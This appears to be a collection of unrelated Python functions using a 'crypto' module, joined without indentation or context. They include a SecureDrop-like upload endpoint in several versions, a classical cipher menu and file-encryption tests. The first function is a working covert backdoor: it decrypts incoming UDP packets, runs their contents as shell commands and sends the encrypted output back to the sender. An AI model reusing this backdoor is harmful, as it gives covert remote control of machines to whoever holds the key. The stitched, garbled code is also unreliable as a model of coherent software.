def runCommand(packet):
encryptedData = packet['Raw'].load
data = crypto.decrypt(encryptedData)
# make sure the data starts with the authString, otherwise it isn't a packet
# meant for our backdoor and we shouldn't process it
if data.startswith(authString):
data = data[len(authString):]
print "Running command " + data
output = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = authString + output.stdout.read() + output.stderr.read()
encryptedOutput = crypto.encrypt(output)
packet = IP(dst=packet[0][1].src)/UDP(dport=int(args.sourcePort), sport=int(args.destPort))/Raw(load=encryptedOutput)
time.sleep(0.1)
send(packet, verbose=0)
def store_endpoint(i):
sid = crypto.shash(i.id)
loc = store.path(sid)
if not os.path.exists(loc): raise web.notfound()
received = False
if i.action == 'upload':
if i.msg:
loc1 = store.path(sid, '%.2f_msg.gpg' % (uuid.uuid4().int, ))
crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1)
received = 2
if not isinstance(i.fh, dict) and i.fh.done != -1 and i.fh.filename:
# we put two zeroes here so that we don't save a file
# with the same name as the message
loc2 = store.path(sid, '%.2f_doc.zip.gpg' % (uuid.uuid4().int, ))
s = cStringIO.StringIO()
zip_file = zipfile.ZipFile(s, 'w')
zip_file.writestr(i.fh.filename, i.fh.file.getvalue())
zip_file.close()
s.reset()
crypto.encrypt(config.JOURNALIST_KEY, s, loc2)
received = i.fh.filename or '[unnamed]'
if not crypto.getkey(sid):
background.execute(lambda: crypto.genkeypair(sid, i.id))
elif i.action == 'delete':
potential_files = os.listdir(loc)
if i.mid not in potential_files: raise web.notfound()
assert '/' not in i.mid
crypto.secureunlink(store.path(sid, i.mid))
msgs = []
for fn in os.listdir(loc):
if fn.startswith('reply-'):
msgs.append(web.storage(
id=fn,
date=str(datetime.datetime.fromtimestamp(os.stat(store.path(sid, fn)).st_mtime)),
msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read())
))
web.header('Cache-Control', 'no-cache, no-store, must-revalidate')
web.header('Pragma', 'no-cache')
web.header('Expires', '-1')
return render.lookup(i.id, msgs, received=received)
def mainSequence():
while True:
try:
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
print('Avilable cipher Types: caesar afine viginereOld viginere hills')
cphr = str(input('Please type in your cipher type: '))
mssg = str(input('Please type in your message(no spaces): '))
if cphr == 'caesar':
kys = int(input('Type in your key as a number: '))
elif cphr == 'afine':
kys = [0,0]
kys[0] = int(input('Type In your add. Key: '))
kys[1] = int(input('Type in your mult. Key: '))
elif cphr == 'hills':
kys = [[0,0],[0,0]]
print( 'matrix a b')
print(' c d')
kys[0][0] = int(input("Please type the a matrix key to be given to this task: "))
kys[1][0] = int(input("Please type the b matrix key to be given to this task: "))
kys[0][1] = int(input("Please type the c matrix key to be given to this task: "))
kys[1][1] = int(input("Please type the d matrix key to be given to this task: "))
elif (cphr == 'viginere') | (cphr == 'viginereOld'):
kys = str(input('Enter your KeyWord: '))
den = str(input('Type\nd to decrypt,\ne to encrypt, or\nn for no key decryption if available: '))
except:
print('You made an incorrect input')
try:
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
if den == 'd':
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
print('Decrypted Message')
print(str(crypto.decrypt(mssg,kys,cphr)))
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
elif den == 'e':
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
print('Encrypted Message')
print(str(crypto.encrypt(mssg,kys,cphr)))
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
elif den == 'n':
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
print('Auto decrypted Message')
print(str(crypto.noKeysDecrypt(mssg,cphr)))
print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
except:
print('The program encountered an error')
exitn = str(input('Would you like to exit (y/n): ')).lower()
if exitn == 'y':
break
def main():
pub_key = open('/share/projects/development/source/mystic/opt/var/keys/eric.walbridge.pub', 'r')
prv_key = open('/share/projects/development/source/mystic/opt/var/keys/eric.walbridge.prv', 'r')
enc_file = open('/share/projects/development/source/mystic/opt/var/files/tmp/test.pdf', 'rb')
dec_file = open('/share/projects/development/source/mystic/opt/var/files/tmp/test2.pdf', 'wb')
print ''
encrypt = crypto.encrypt(enc_file.read(), crypto.random_password(), pub_key.read())
#print b64encode(encrypt.encrypted_password)
#print encrypt.data
#print ''
decrypt = crypto.decrypt(encrypt.data, encrypt.encrypted_password, prv_key.read(), '0123456789')
#print decrypt.decrypted_password
#print b64encode(decrypt.data)
dec_file.write(decrypt.data)
print ''
def get_handler(arg):
public = None
uri = ""
if arg.cap:
uri = arg.cap
cap = uri.split(":")
else:
# TODO this should read the current dir to find out the URI for the file
with open('private/files.txt', "r") as f:
for line in f:
ind = line.find(arg.name)
# here assumes the files have different names
# TODO check for the same names that are substring of the other
if ind != -1:
key_ind = line.find("|")+1
line = line[key_ind:] #splitting the file name from cap
cap = line.split(":")
uri = cap[0]+":"+cap[1]+":"+cap[2]
file_name = arg.name
abs_path = os.path.abspath(pjoin('private/keys/', file_name))
# check if this file was created by the user
# the public key should be in the file we get
if os.path.exists(abs_path):
with open('private/keys/'+arg.name+"public", "r") as f:
public = f.read()
break #creating the public private keys
# access the file via the write-cap
cipher = get_data(uri)
data_ar = cipher.split(SPLIT_SYMBOL)
sign = data_ar[1]
data = data_ar[0]
public = data_ar[2]
assert(data_ar[3] == crypto.my_hash(public))
valid = crypto.verify_RSA(public, sign, data)
print "Valid: ", valid
if valid:
# generate the AES decryption key and decrypt
salt = "a"*16
s = str(cap[1] + salt)
hashed_key = crypto.my_hash(s)
ptext = crypto.decrypt(data, hashed_key[:16])
txt = ptext.find(SPLIT_SYMBOL)
return ptext[:txt]
return None
def store_endpoint(i):
sid = crypto.shash(i.id)
loc = store.path(sid)
if not os.path.exists(loc):
raise web.notfound()
received = False
if i.action == "upload":
if i.msg:
loc1 = store.path(sid, "%.2f_msg.gpg" % (uuid.uuid4().int,))
crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1)
received = 2
if not isinstance(i.fh, dict) and i.fh.done != -1 and i.fh.filename:
# we put two zeroes here so that we don't save a file
# with the same name as the message
loc2 = store.path(sid, "%.2f_doc.gpg" % (uuid.uuid4().int,))
crypto.encrypt(config.JOURNALIST_KEY, i.fh.file, loc2, fn=i.fh.filename)
received = i.fh.filename or "[unnamed]"
if not crypto.getkey(sid):
background.execute(lambda: crypto.genkeypair(sid, i.id))
elif i.action == "delete":
potential_files = os.listdir(loc)
if i.mid not in potential_files:
raise web.notfound()
assert "/" not in i.mid
crypto.secureunlink(store.path(sid, i.mid))
msgs = []
for fn in os.listdir(loc):
if fn.startswith("reply-"):
msgs.append(
web.storage(
id=fn,
date=str(datetime.datetime.fromtimestamp(os.stat(store.path(sid, fn)).st_mtime)),
msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read()),
)
)
web.header("Cache-Control", "no-cache, no-store, must-revalidate")
web.header("Pragma", "no-cache")
web.header("Expires", "-1")
return render.lookup(i.id, msgs, received=received)
def _handle_msg(self, text):
'''
Deal with the raw message contents appropriately:
- decrypt if necessary
- verify signature
Return plain-text message and signer's DN.
'''
if text is None or text == '':
return None, None
# if not text.startswith('MIME-Version: 1.0'):
# raise Ssm2Exception('Not a valid message.')
# encrypted - this could be nicer
if 'application/pkcs7-mime' in text or 'application/x-pkcs7-mime' in text:
try:
text = crypto.decrypt(text, self._cert, self._key)
except crypto.CryptoException, e:
log.error('Failed to decrypt message: %s' % e)
return None, None
def POST(self):
i = web.input('id', fh={}, msg=None, mid=None, action=None)
sid = crypto.shash(i.id)
loc = store.path(sid)
if not os.path.exists(loc): raise web.notfound()
received = False
if i.action == 'upload':
if i.msg:
loc1 = store.path(sid, '%s_msg.gpg' % time.time())
crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1)
received = 2
if i.fh.value:
# we put two zeroes here so that we don't save a file
# with the same name as the message
loc2 = store.path(sid, '%s_doc.gpg' % time.time())
crypto.encrypt(config.JOURNALIST_KEY, i.fh.file, loc2, fn=i.fh.filename)
received = i.fh.filename or '[unnamed]'
if not crypto.getkey(sid):
background.execute(lambda: crypto.genkeypair(sid, i.id))
elif i.action == 'delete':
potential_files = os.listdir(loc)
if i.mid not in potential_files: raise web.notfound()
assert '/' not in i.mid
crypto.secureunlink(store.path(sid, i.mid))
msgs = []
for fn in os.listdir(loc):
if fn.startswith('reply-'):
msgs.append(web.storage(
id=fn,
date=datetime.datetime.fromtimestamp(float(store.cleanname(fn))),
msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read())
))
web.header('Cache-Control', 'no-cache, no-store, must-revalidate')
web.header('Pragma', 'no-cache')
web.header('Expires', '-1')
return render.lookup(i.id, msgs, received=received)
def decode_message(message_data, secret=None):
"""decode message envelope
args
- message_data encoded message envelope (see encode_message)
- secret secret key to decrypt message (if encrypted)
returns (sender, content, timestamp)
- sender message sender
- content content string (plaintext)
- timestamp datetime instance
"""
sender = str(message_data['sender'])
content = base64.urlsafe_b64decode(str(message_data['content']))
timestamp = datetime(*map(lambda f: int(f), message_data['timestamp-utc']))
if message_data['encrypted']:
content = decrypt(content, secret)
content = json.loads(content)
return sender, content, timestamp